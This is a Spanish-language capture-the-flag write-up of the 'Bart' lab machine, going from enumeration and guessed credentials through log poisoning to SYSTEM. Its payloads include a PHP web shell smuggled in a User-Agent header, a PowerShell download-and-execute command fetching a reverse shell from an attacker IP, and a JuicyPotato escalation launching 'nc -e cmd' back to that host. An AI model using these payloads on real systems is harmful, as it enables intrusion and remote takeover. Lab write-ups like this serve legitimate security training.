Bart - WriteUp
🎯 Machine Info
Tags:
Bart es una máquina bastante realista, que se centra principalmente en tĂ©cnicas de enumeraciĂłn adecuadas. Existen varias polĂticas de seguridad que pueden aumentar la dificultad para quienes no están familiarizados con los entornos Windows.
ENUM
NMAP
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# Nmap 7.94SVN scan initiated Tue Feb 20 13:08:53 2024 as: nmap -sCV -p 80 --stylesheet=https://raw.githubusercontent.com/honze-net/nmap-bootstrap-xsl/stable/nmap-bootstrap.xs
l -oN targeted -oX targetedXML 10.129.96.185
Nmap scan report for 10.129.96.185
Host is up (0.041s latency).
PORT STATE SERVICE VERSION
80/tcp open http Microsoft IIS httpd 10.0
|_http-title: Did not follow redirect to http://forum.bart.htb/
|_http-server-header: Microsoft-IIS/10.0
| http-vulners-regex:
| /main.html:
| cpe:/a:microsoft:iis:10.0
| /index.php:
|_ cpe:/a:php:php:7.1.7
| http-methods:
HTTP Redirige a forum.bart.htb
WHATWEB
1
2
3
4
5
6
7
8
9
10
11
12
13
WhatWeb report for http://forum.bart.htb/
Status : 200 OK
Title : BART
IP : 10.129.96.185
Country : RESERVED, ZZ
Summary : Bootstrap, Email[d.simmons@bart.htb,h.potter@bart.htb,info@bart.htb,r.hilton@bart.htb,s.brown@bart.loca,s.brown@bart.local], HTML5, HTTPServer[Microsoft-IIS/10.0], JQuery, MetaGenerator[WordPress 4.8.2], Microsoft-IIS[10.0], PoweredBy[WordPress], Script[text/javascript], WordPress[4.8.2]
[ MetaGenerator ]
This plugin identifies meta generator tags and extracts its
value.
String : WordPress 4.8.2
Tenemos los que parece cuentas de usuario válidas (las apuntamos) y vemos que la web corre bajo un WordPress versión 4.8.2
FUZZING NORMAL y SUBDOMINIOS
$ wfuzz -c -f sub-domains --hc 302 --hh 334 -u 'http://bart.htb' -H "Host: FUZZ.bart.htb" -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 200
...
000000067: 200 548 L 2412 W 35529 Ch "forum" 000001614: 200 80 L 221 W 3423 Ch "monitor"
Si navegamos a la ruta /monitor encontramos un login:
Hacemos varias pruebas con credenciales comunes pero no obtenemos resultados.
Si le damos a la botón “Forgot password?” nos lleva a la siguiente pantalla:
Nos damos cuenta que si introducimos un usuario al azar como admin o rafa nos arroja el siguiente error:
Pero si introducimos los nombres de usuarios encontrados…
Bien, podrĂa ser una vĂa potencial de enumerar usuarios o hacer algo más…
Usuarios verificados:
1
2
- daniel
- harvey
Al probar las credenciales del tipo nombre/apellido increĂblemente damos con unas credenciales válidas:
1
harvey:potter
Al pulsar en cualquier secciĂłn, nos redirige al subdominio monitor.bart.htb. Lo damos de alta en el archivo hosts y continuamos.
Descubrimos otro subdominio, lo damos de alta y le damos al enlace.
Si nos fijamos en la URL vemos que abre in formulario en PHP de una carpeta llamada simple_chat. Vamos a buscar informaciĂłn en Google y de casualidad exista.
Y parece ser que existe: https://github.com/magkopian/php-ajax-simple-chat/tree/master/simple_chat
Vamos a analizar el código…
En “register.php” vemos lo siguiente:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
//check if username is provided
if (!isset($_POST['uname']) || empty($_POST['uname'])) {
$errors['uname'] = 'The Username is required';
} else {
//validate username
if (($uname = validate_username($_POST['uname'])) === false) {
$errors['uname'] = 'The Username is invalid';
}
}
//check if password is provided
if (!isset($_POST['passwd']) || empty($_POST['passwd'])) {
$errors['passwd'] = 'The Password is required';
} else {
//validate password
if (($passwd = validate_password($_POST['passwd'])) === false) {
$errors['passwd'] = 'The Password must be at least 8 characters';
}
}
SegĂşn el cĂłdigo si le pasamos por POST un usuario (uname) y un password (passwd) podemos registrar un usuario por la cara. Vamos a probarlo:
1
$ curl -s -X POST "http://internal-01.bart.htb/simple_chat/register.php" -d 'uname=andy&passwd=andy12345'
Y pa dentro….
Vemos esto:
Analizando la URL dirĂa que puede ser vulnerable:
1
http://internal-01.bart.htb/log/log.php?filename=log.txt&username=harvey
Aprovechándonos de la vulnerabilidad de log-poisoning vamos a lanzar un script en Python para obtener un RCE:
# Script Python3 Log-Poisoning
import requests
log_poisoning_url = "http://internal-01.bart.htb/log/log.php?filename=rce.php&username=harvey"
headers = {'User-Agent': '<?php system($_REQUEST["cmd"]); ?>'}
r = requests.get(log_poisoning_url, headers=headers)
Al ejecutarlo tendremos ejecuciĂłn remota de comandos, por ejemplo:
1
http://internal-01.bart.htb/log/rce.php?cmd=whoami
Vamos a intentar obtener una reverse shell.
Nos descargamos Invoke-PowerShellTcp.ps1 de https://raw.githubusercontent.com/samratashok/nishang/master/Shells/Invoke-PowerShellTcp.ps1
Editamos el archivo y al final de todo introducimos esta lĂnea, modificando la IP por la que tengamos en ese momento.
Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.131 -Port 443
Nos ponemos a la escucha:
1
$ rlwrap nc -nlvp 443
En otra consola montamos un servidor web:
1
$ python3 -m http.server 80
Y ya lo tenemos todo preparado para ejecutar la reverse shell en la URL del RCE que hemos creado:
1
http://internal-01.bart.htb/log/rce.php?cmd=powershell IEX(New-Object Net.WebClient).downloadString(%27http://10.10.14.131/Invoke-PowerShellTcp.ps1%27)
Y pa dentro…
Tenemos los siguientes permisos:
PS C:\inetpub\wwwroot\internal-01\log> whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
======================= ========================================= =======
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeImpersonatePrivilege Impersonate a client after authentication Enabled
SeCreateGlobalPrivilege Create global objects Enabled
Vemos que tenemos habilitado “SeImpersonatePrivilege” por lo que podemos empezar a pelar patatas…
Ahora lo Ăşnico que nos hace falta es subir JuicyPotato y escalaremos privilegios:
Nos descargamos y transferimos a la máquina vĂctima los siguientes archivos:
JUICY POTATO https://github.com/ohpe/juicy-potato/releases/tag/v0.1 NETCAT https://eternallybored.org/misc/netcat/
Nos ponemos a la escucha y ejecutamos el potato con CLSID de Windows 10 :
> .\JuicyPotato.exe -t * -p C:\Windows\System32\cmd.exe -l 1337 -a "/c C:\temp\nc.exe -e cmd 10.10.14.131 4444" -c "{5B3E6773-3A99-4A3D-8096-7765DD11785C}"
Testing {5B3E6773-3A99-4A3D-8096-7765DD11785C} 1337
......
[+] authresult 0
{5B3E6773-3A99-4A3D-8096-7765DD11785C};NT AUTHORITY\SYSTEM
[+] CreateProcessWithTokenW OK
Buscamos las banderas y máquina finalizada…
La de usuario está en “C:\Users\h.potter\Desktop”
Ăšltima actualizaciĂłn: 2024-10-17
Autor: A. Lorente
Licencia: Creative Commons BY-NC-SA 4.0















